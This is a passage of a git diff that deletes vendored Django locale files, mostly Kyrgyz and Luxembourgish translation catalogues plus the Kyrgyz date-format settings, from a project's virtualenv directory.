"alt. month" -msgid "May" -msgstr "Май" - -msgctxt "alt. month" -msgid "June" -msgstr "Июнь" - -msgctxt "alt. month" -msgid "July" -msgstr "Июль" - -msgctxt "alt. month" -msgid "August" -msgstr "Август" - -msgctxt "alt. month" -msgid "September" -msgstr "Сентябрь" - -msgctxt "alt. month" -msgid "October" -msgstr "Октябрь" - -msgctxt "alt. month" -msgid "November" -msgstr "Ноябрь" - -msgctxt "alt. month" -msgid "December" -msgstr "Декабрь" - -msgid "This is not a valid IPv6 address." -msgstr "Бул туура эмес IPv6 дареги" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "же" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d жыл" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d ай" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d апта" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d күн" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d саат" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d мүнөт" - -msgid "Forbidden" -msgstr "Тыйылган" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF текшерүү кыйрады. Суроо четке кагылды." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Браузер тараптан \"Referer header\" HTTPS сайтына жиберилбей калгандыгы үчүн " -"бул билдирүүнү көрүп турасыз. Бул хэдэр сиздин браузер үчүнчү жактан " -"чабуулга учурабаганын текшерүүгө коопсуздук үчүн керек." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Эгер сиз броузерден “Referer” хэдерин өчүрүп салсаңыз, аны күйгүзүп коюңуз. " -"Жок дегенде ушул сайт үчүн же жок дегенде HTTPS байланышуу үчүн. Же болбосо " -"“same-origin” суроолору үчүн." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Эгер сиз тегин же “Referrer-" -"Policy: no-referrer” хэдерин колдонуп жатсаңыз, аларды өчүрүп салыңыз. CSRF " -"коргоосу “Referer” хэдерин талап кылат. Эгер сиз коопсуздук жөнүндө " -"кабатырланып атсаңыз үчүнчү жактар үчүн шилтемесин " -"колдонуңуз." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Сиз бул билдирүүнү бул сайт форм жиберүүдө CSRF кукини талап кылгандыгы үчүн " -"көрүп жатасыз. Бул куки коопсуздуктан улам сиздин сайтыңыз үчүнчү жактан " -"чабуулга кабылбаганын текшерүү үчүн талап кылынат. " - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Эгер сиз броузерде кукиледи өчүрүп койсоңуз, аларды кайра күйгүзүп коюңуз. " -"Жок дегенде ушул сайтка же “same-origin” суроолоруна." - -msgid "More information is available with DEBUG=True." -msgstr "Сиз бул маалыматты DEBUG=True болгону үчүн көрүп жатасыз." - -msgid "No year specified" -msgstr "Жыл көрсөтүлгөн эмес" - -msgid "Date out of range" -msgstr "Күн чектен сырткары" - -msgid "No month specified" -msgstr "Ай көрсөтүлгөн эмес" - -msgid "No day specified" -msgstr "Апта күнү көрсөтүлгөн эмес" - -msgid "No week specified" -msgstr "Апта көрсөтүлгө эмес" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s жок" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s future си тейленбейт. Себеби %(class_name)s." -"allow_future си False маани алган." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Туура эмес күн сабы “%(datestr)s” берилген формат болсо “%(format)s”." - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "суроого эч бир %(verbose_name)s табылбады" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Барак акыркы эмес. Же натуралдык санга өткөрүлө албай атат." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Туура эмес (%(page_number)s) барак: %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Бош тизме жана “%(class_name)s.allow_empty” = False болуп калган." - -msgid "Directory indexes are not allowed here." -msgstr "Папка индекстери бул жерде иштей албайт." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” жашабайт" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s индексттери" - -msgid "The install worked successfully! Congratulations!" -msgstr "Орнотуу ийгиликтүү аяктады! Куттуу болсун!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Жанго %(version)s үчүн чыгарылыш " -"эскертмелерин кара." - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"Сиз бул бетти сиздин тууралоо файлыңызда DEBUG=True жана эчбир урл тууралабагандыгыңыз үчүн көрүп " -"жататсыз." - -msgid "Django Documentation" -msgstr "Жанго Түшүндүрмөсү" - -msgid "Topics, references, & how-to’s" -msgstr "Темалар, Сурамжылар, & кантип.. тер" - -msgid "Tutorial: A Polling App" -msgstr "Колдонмо:" - -msgid "Get started with Django" -msgstr "Жангону башта" - -msgid "Django Community" -msgstr "Жанго жамааты" - -msgid "Connect, get help, or contribute" -msgstr "Туташ, жардам ал, же салым кош" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ky/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ky/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ky/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ky/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 24de2b80..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ky/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ky/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ky/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index a530be9b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ky/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ky/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ky/formats.py deleted file mode 100644 index 25a09287..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ky/formats.py +++ /dev/null @@ -1,32 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j E Y ж." -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j E Y ж. G:i" -YEAR_MONTH_FORMAT = "F Y ж." -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Дүйшөмбү, Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' - "%d.%m.%y", # '25.10.06' -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lb/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/lb/LC_MESSAGES/django.mo deleted file mode 100644 index 2cf2c8bd..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/lb/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lb/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/lb/LC_MESSAGES/django.po deleted file mode 100644 index b0d47554..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/lb/LC_MESSAGES/django.po +++ /dev/null @@ -1,1213 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# sim0n , 2011,2013 -# sim0n , 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Luxembourgish (http://www.transifex.com/django/django/" -"language/lb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: lb\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabesch" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "" - -msgid "Bulgarian" -msgstr "Bulgaresch" - -msgid "Belarusian" -msgstr "Wäissrussesch" - -msgid "Bengali" -msgstr "Bengalesch" - -msgid "Breton" -msgstr "" - -msgid "Bosnian" -msgstr "Bosnesch" - -msgid "Catalan" -msgstr "Katalanesch" - -msgid "Czech" -msgstr "Tschechesch" - -msgid "Welsh" -msgstr "Walisesch" - -msgid "Danish" -msgstr "Dänesch" - -msgid "German" -msgstr "Däitsch" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Griichesch" - -msgid "English" -msgstr "Englesch" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "Britesch Englesch" - -msgid "Esperanto" -msgstr "" - -msgid "Spanish" -msgstr "Spuenesch" - -msgid "Argentinian Spanish" -msgstr "Argentinesch Spuenesch" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Mexikanesch Spuenesch" - -msgid "Nicaraguan Spanish" -msgstr "" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "Estonesch" - -msgid "Basque" -msgstr "Baskesch" - -msgid "Persian" -msgstr "Persesch" - -msgid "Finnish" -msgstr "Finnesch" - -msgid "French" -msgstr "Franséisch" - -msgid "Frisian" -msgstr "Frisesch" - -msgid "Irish" -msgstr "Iresch" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Galesch" - -msgid "Hebrew" -msgstr "Hebräesch" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Kroatesch" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Ungaresch" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "Indonesesch" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Islännesch" - -msgid "Italian" -msgstr "Italienesch" - -msgid "Japanese" -msgstr "Japanesch" - -msgid "Georgian" -msgstr "Georgesch" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kanadesch" - -msgid "Korean" -msgstr "Koreanesch" - -msgid "Luxembourgish" -msgstr "Lëtzebuergesch" - -msgid "Lithuanian" -msgstr "Lithuanesesch" - -msgid "Latvian" -msgstr "Lättesch" - -msgid "Macedonian" -msgstr "Macedonesch" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongolesch" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "" - -msgid "Dutch" -msgstr "Hollännesch" - -msgid "Norwegian Nynorsk" -msgstr "Norwegesch Nynorsk" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polnesch" - -msgid "Portuguese" -msgstr "Portugisesch" - -msgid "Brazilian Portuguese" -msgstr "Brasilianesch Portugisesch" - -msgid "Romanian" -msgstr "Rumänesch" - -msgid "Russian" -msgstr "Russesch" - -msgid "Slovak" -msgstr "Slowakesch" - -msgid "Slovenian" -msgstr "Slowenesch" - -msgid "Albanian" -msgstr "Albanesch" - -msgid "Serbian" -msgstr "Serbesch" - -msgid "Serbian Latin" -msgstr "Serbesch Latäinesch" - -msgid "Swedish" -msgstr "Schwedesch" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkish" -msgstr "Tierkesch" - -msgid "Tatar" -msgstr "" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "Ukrainesch" - -msgid "Urdu" -msgstr "" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnamesesch" - -msgid "Simplified Chinese" -msgstr "Einfach d'Chinesesch" - -msgid "Traditional Chinese" -msgstr "Traditionell d'Chinesesch" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Gëff en validen Wärt an." - -msgid "Enter a valid URL." -msgstr "Gëff eng valid URL an." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "Gëff eng valid e-mail Adress an." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Gëff eng valid IPv4 Adress an." - -msgid "Enter a valid IPv6 address." -msgstr "Gëff eng valid IPv6 Adress an." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Gëff eng valid IPv4 oder IPv6 Adress an." - -msgid "Enter only digits separated by commas." -msgstr "" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "an" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "" - -msgid "This field cannot be blank." -msgstr "" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Datum (ouni Zäit)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Datum (mat Zäit)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Dezimalzuel" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "E-mail Adress" - -msgid "File path" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Kommazuel" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Zuel" - -msgid "Big (8 byte) integer" -msgstr "Grouss (8 byte) Zuel" - -msgid "IPv4 address" -msgstr "IPv4 Adress" - -msgid "IP address" -msgstr "IP Adress" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "" - -msgid "Positive integer" -msgstr "Positiv Zuel" - -msgid "Positive small integer" -msgstr "Kleng positiv Zuel" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "Kleng Zuel" - -msgid "Text" -msgstr "Text" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Zäit" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Rei Binär Daten" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Fichier" - -msgid "Image" -msgstr "Bild" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "" - -msgid "One-to-one relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "" - -msgid "Enter a whole number." -msgstr "" - -msgid "Enter a valid date." -msgstr "" - -msgid "Enter a valid time." -msgstr "" - -msgid "Enter a valid date/time." -msgstr "" - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" - -msgid "No file was submitted." -msgstr "Et ass keng Datei geschéckt ginn." - -msgid "The submitted file is empty." -msgstr "" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" - -msgid "Enter a list of values." -msgstr "Gëff eng Lescht vun Wäerter an." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Sortéier" - -msgid "Delete" -msgstr "Läsch" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Maach eidel" - -msgid "Currently" -msgstr "Momentan" - -msgid "Change" -msgstr "Änner" - -msgid "Unknown" -msgstr "Onbekannt" - -msgid "Yes" -msgstr "Jo" - -msgid "No" -msgstr "Nee" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "jo,nee,vläit" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "" - -msgid "noon" -msgstr "" - -msgid "Monday" -msgstr "Méindeg" - -msgid "Tuesday" -msgstr "Dënschdeg" - -msgid "Wednesday" -msgstr "Mëttwoch" - -msgid "Thursday" -msgstr "Donneschdes" - -msgid "Friday" -msgstr "Freides" - -msgid "Saturday" -msgstr "Samschdes" - -msgid "Sunday" -msgstr "Sonndes" - -msgid "Mon" -msgstr "Mei" - -msgid "Tue" -msgstr "Dën" - -msgid "Wed" -msgstr "Mett" - -msgid "Thu" -msgstr "Don" - -msgid "Fri" -msgstr "Fre" - -msgid "Sat" -msgstr "Sam" - -msgid "Sun" -msgstr "Son" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "März" - -msgid "April" -msgstr "Abrell" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "Juni" - -msgid "July" -msgstr "Juli" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Dezember" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mär" - -msgid "apr" -msgstr "abr" - -msgid "may" -msgstr "" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "März" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Abrell" - -msgctxt "abbrev. month" -msgid "May" -msgstr "" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Juni" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Juli" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -msgctxt "alt. month" -msgid "January" -msgstr "Januar" - -msgctxt "alt. month" -msgid "February" -msgstr "Februar" - -msgctxt "alt. month" -msgid "March" -msgstr "März" - -msgctxt "alt. month" -msgid "April" -msgstr "Abrell" - -msgctxt "alt. month" -msgid "May" -msgstr "" - -msgctxt "alt. month" -msgid "June" -msgstr "Juni" - -msgctxt "alt. month" -msgid "July" -msgstr "Juli" - -msgctxt "alt. month" -msgid "August" -msgstr "August" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "November" - -msgctxt "alt. month" -msgid "December" -msgstr "December" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "oder" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d Joer" -msgstr[1] "%d Joren" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d Mount" -msgstr[1] "%d Meint" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d Woch" -msgstr[1] "%d Wochen" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d Dag" -msgstr[1] "%d Deeg" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d Stonn" -msgstr[1] "%d Stonnen" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d Minutt" -msgstr[1] "%d Minutten" - -msgid "0 minutes" -msgstr "0 Minutten" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "" - -msgid "No day specified" -msgstr "" - -msgid "No week specified" -msgstr "" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of 